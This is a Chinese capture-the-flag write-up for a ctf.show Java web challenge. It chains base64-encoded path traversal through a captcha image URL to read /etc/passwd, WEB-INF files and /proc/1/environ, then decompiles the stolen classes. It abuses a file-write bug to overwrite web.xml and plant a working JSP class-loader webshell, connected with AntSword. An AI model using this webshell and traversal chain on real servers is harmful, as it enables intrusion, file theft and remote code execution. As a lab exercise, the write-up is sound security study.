声明:此文仅供学习记录研究使用,切勿用于非法用途,否则后果自负!
参考文档
任意文件读取
在注册页面源代码处发现图片验证码的链接,尝试读取/etc/passwd
http://f5633ab6-dbd6-40cc-99d8-bce165cf784e.challenge.ctf.show/v/c?r=YzgxZTcyOC5qcGc= #YzgxZTcyOC5qcGc= ==>c81e728.jpg
/etc/passwd ==> L2V0Yy9wYXNzd2Q= (抓包重放时,绝对路径没有成功,改用相对路径)
../../../../../../../../../../../etc/passwd ==>Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
猜测根目录下存在flag文件
/ctfshowflag ==> L2N0ZnNob3dmbGFn
../../../../../../../../../../ctfshowflag ==> Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vY3Rmc2hvd2ZsYWcg (尝试失败)
java项目敏感信息
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码
读取web.xml
../../../WEB-INF/web.xml ==> Li4vLi4vLi4vV0VCLUlORi93ZWIueG1s
读取pom.xml
../../../WEB-INF/pom.xml==>Li4vLi4vLi4vV0VCLUlORi9wb20ueG1s
读取tiny-framework并保存到本地进行反编译
发现tiny-framework,路径为
${basedir}\lib\tiny-framework-1.0.1.jar ==>/WEB-INF/lib/tiny-framework-1.0.1.jar
../../../WEB-INF/lib/tiny-framework-1.0.1.jar ==>Li4vLi4vLi4vV0VCLUlORi9saWIvdGlueS1mcmFtZXdvcmstMS4wLjEuamFy
保存到文件1.jar,反编译失败,jar文件打不开(文件二进制内容冗余大量的00,需要清除,剩余4个00)
winhex修改
再进行反编译
读取Index.class文件并进行反编译
没有发现index.class文件,那就应该在/WEB-INF/classes/
../../../WEB-INF/classes/com/ctfshow/controller/Index.class ==>Li4vLi4vLi4vV0VCLUlORi9jbGFzc2VzL2NvbS9jdGZzaG93L2NvbnRyb2xsZXIvSW5kZXguY2xhc3M=
将其返回内容再次保存到文件中,利用winhex去除多余的00
反编译发现有任意文件写入的漏洞,由于文件名限制为字母数字和.,所以并不能跨目录写文件,只能写到classes目录下
利用web.xml写jsp马
利用tomcat的热加载机制,重写web.xml,再写个对应的jsp马,写反弹shell即可
- 原web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app version="3.0"
xmlns="http://java.sun.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd">
<display-name></display-name>
<filter>
<filter-name>routerFilter</filter-name>
<filter-class>com.ctfshow.filter.impl.RouterFilterImpl</filter-class>
</filter>
<filter-mapping>
<filter-name>routerFilter</filter-name>
<url-pattern>/404.html</url-pattern>
<url-pattern>/*</url-pattern>
<dispatcher>REQUEST</dispatcher>
</filter-mapping>
<error-page>
<error-code>404</error-code>
<location>/404.html</location>
</error-page>
<session-config>
<cookie-config>
<name>ctfshow</name>
<http-only>true</http-only>
</cookie-config>
<tracking-mode>COOKIE</tracking-mode>
</session-config>
<error-page>
<error-code>400</error-code>
<location>/404.html</location>
</error-page>
</web-app>
- 重写后的web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app version="3.0"
xmlns="http://java.sun.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd">
<display-name></display-name>
<filter>
<filter-name>routerFilter</filter-name>
<filter-class>com.ctfshow.filter.impl.RouterFilterImpl</filter-class>
</filter>
<filter-mapping>
<filter-name>routerFilter</filter-name>
<url-pattern>/404.html</url-pattern>
<url-pattern>/s/*</url-pattern>
<dispatcher>REQUEST</dispatcher>
</filter-mapping>
<servlet>
<servlet-name>ctfshow</servlet-name> //新增一个servlet来映射到WEB-INF下的jsp文件
<jsp-file>/WEB-INF/1.jsp</jsp-file> //路径ctfshow访问当前目录下的1.jsp
</servlet>
<servlet-mapping>
<servlet-name>ctfshow</servlet-name>
<url-pattern>/ctfshow</url-pattern>
</servlet-mapping>
</web-app>
- jsp马
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
- 利用(先写马)
username=web.xml&password=重写后的web.xml代码
username=1.jsp&password=jsp马
- 蚁剑连接
http://2160fbb2-2fd9-4244-8fff-f6f029d8b226.challenge.ctf.show/ctfshow
- flag
解法二
直接去读取环境变量env
/proc/self/environ
../../../../../../../proc/self/environ==>Li4vLi4vLi4vLi4vLi4vLi4vLi4vcHJvYy9zZWxmL2Vudmlyb24=
../../../../../../../../../proc/1/environ==>Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vcHJvYy8xL2Vudmlyb24=
在 /proc 目录里, 每个正在运行的进程都有一个以该进程 ID 命名的子目录,
environ,该文件保存进程的环境变量, 各项之间以空字符分隔, 结尾也可能是一个空字符. 如果要输出进程 1 的环境变量:cat /proc/1/environ
读/proc/self/environ虽然是能读到该环境变量文件,但是我并没有发现flag
读/proc/1/environ可以,但是1是pid,进程号很多,猜到可能就是运气,如果有类似的题话可以试试
这里读出来的flag和上面的不一样,是因为上面web.xml重写之后部分路由就没了,环境被弄坏了,就重开了,不然没法利用注册页面的验证码链接读文件